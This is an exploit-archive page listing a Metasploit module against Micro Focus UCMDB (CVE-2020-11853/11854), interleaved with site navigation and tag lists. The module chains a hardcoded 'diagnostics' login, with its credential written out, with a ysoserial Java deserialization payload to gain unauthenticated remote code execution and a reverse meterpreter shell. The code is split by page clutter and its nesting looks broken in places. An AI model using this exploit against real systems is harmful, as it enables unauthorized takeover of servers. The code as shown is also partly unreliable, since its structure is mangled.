

Micro Focus UCMDB Remote Code Execution

Authored by [Pedro Ribeiro](#) | [Site metasploit.com](#)

Posted Jan 28, 2021

This Metasploit module exploits two vulnerabilities, that when chained allow an attacker to achieve unauthenticated remote code execution in Micro Focus UCMDB. UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected, but this module can probably also be used to exploit Operations Bridge Manager (containerized) and Application Performance Management.

tags | [exploit](#) | [remote](#) | [vulnerability](#) | [code execution](#)

advisories | [CVE-2020-11853](#) | [CVE-2020-11854](#)

SHA-256 | [59be14dc0b274846876d82ee91afdb255998980f7c79be4eb7f93d0f3ff0e005](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twef

LinkedIn

Reddit

Digg

StumbleUpon

```
Change Mirror Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities, that when chained allow an attacker
          to achieve unauthenticated remote code execution in Micro Focus UCMDB.
          UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
          but this module can probably also be used to exploit Operations Bridge Manager
          (containerized) and Application Performance Management.
          Check the advisory and module documentation for details.
          The first vulnerability is a hardcoded password for the "diagnostics" user, which
          allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
          deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
          Both Windows and Linux installations are vulnerable.
        },
        'License' => MSP_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [
            'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
            ['CVE', '2020-11853'],
            ['CVE', '2020-11854'],
            ['ZDI', '20-1287'],
            ['ZDI', '20-1288'],
          ],
        ],
        'Privileged' => true,
        'Platform' => %w(unix win),
        'DefaultOptions' => [
          'WfsDelay' => 15
        ],
        'Targets' => [
          # unfortunately could not find a way to determine target automatically
          [
            'Windows',
            [
              'Platform' => 'win',
              'DefaultOptions' => [
                { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
              ],
            ],
            'Linux',
            [
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD],
              'DefaultOptions' => [
                # Metasploit ysoserial's Linux payloads are currently BROKEN!
                # So we need to default to cmd/unix/generic, which is the only that works now.
                # Once this is fixed, change the default to cmd/unix/reverse_python
                # ... and remove this comment.
                { 'PAYLOAD' => 'cmd/unix/generic' }
              ],
            ],
          ],
        ],
        'DisclosureDate' => '2020-10-28',
        'DefaultTarget' => 0
      )
    )
  end

  register_options(
    [
      Opt::RPORT(8443),
      OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/' ]),
      OptBool.new('SSL', [ true, 'Negotiate SSL/TLS', true ]),
    ]
  )
end

def check
  res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
    'method' => 'GET'
  )
  if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
    if res.body.include?('ServerVersion=11.6.0')
      # 100% sure this version is vulnerable
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Detected
  end

  return Exploit::CheckCode::Unknown
end

def exploit
  print_status("#{peer} - Attacking #{target.name} target")

  if target.name == 'Windows'
    cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true,
    encode_final_payload: true })
  else
    cmd = payload.encoded
  end

  # First, let's authenticate
  res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),
    'method' => 'POST',
    'vars_post' => {
      'customerId' => '1',
    }
  )
end
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (8,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,600)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
'isEncoded' => 'false',
'userName' => 'diagnostics',
'password' => 'YWRtaW4=',
'ldapServerName' => 'UCMDB'
}
})
unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')
  fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")
end
cookies = res.get_cookies
print_good("#{peer} - Successfully authenticated and obtained our cookie!")

# Now let's pick a random service since we have so many to choose from :D
vuln_service = [
  'services/CmdbOperationExecuterService',
  'services/CategoryFacadeForGui',
  'services/CorrelationFacadeForGui',
  'services/CorrelationRunnerFacade',
  'services/PackageFacadeForGui',
  'services/SchedulerFacadeForGui',
  'services/FoldersFacade',
  'services/BusinessModelFacadeForGui',
  'services/WatchServerAPI',
  'services/TopologyService',
  'services/ReportService',
  'services/CMSImagesService',
  'services/PatternService',
  'services/FolderService',
  'services/RelatedCISService',
  'services/MailService',
  'services/DiscoveryService',
  'services/ServiceDiscoveryService',
  'services/SoftwareLibraryService',
  'services/DataAcquisitionService',
  'services/CIService',
  'services/HistoryService',
  'services/BundleService',
  'services/LocationService',
  'services/SchedulerService',
  'services/ImpactService',
  'services/CommonService',
  'services/PermissionsService',
  'services/ClassModelService',
  'services/SnapshotService',
  'services/LDAPService',
  'services/CITService',
  'services/MultiTenancyService',
  'services/SecurityService',
  'services/ResourceManagementService',
  'services/AutomationMappingService',
  'services/LicensingService',
  'services/GenericAdapterService'
].sample

# Simple as
payload = ::Msfr::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd)
print_status("#{peer} - Sending payload to #{vuln_service}")

res = send_request_raw({
  'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),
  'method' => 'POST',
  'cookie' => cookies,
  'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },
  'data' => payload
})

if res && res.code == 500
  print_good("#{peer} - Success, shell incoming!")
  handler
else
  print_error("#{peer} - Something failed, try again?")
end
end
end
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

**packet storm**

© 2022 Packet Storm. All rights reserved.

#### Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


#### About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

#### Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed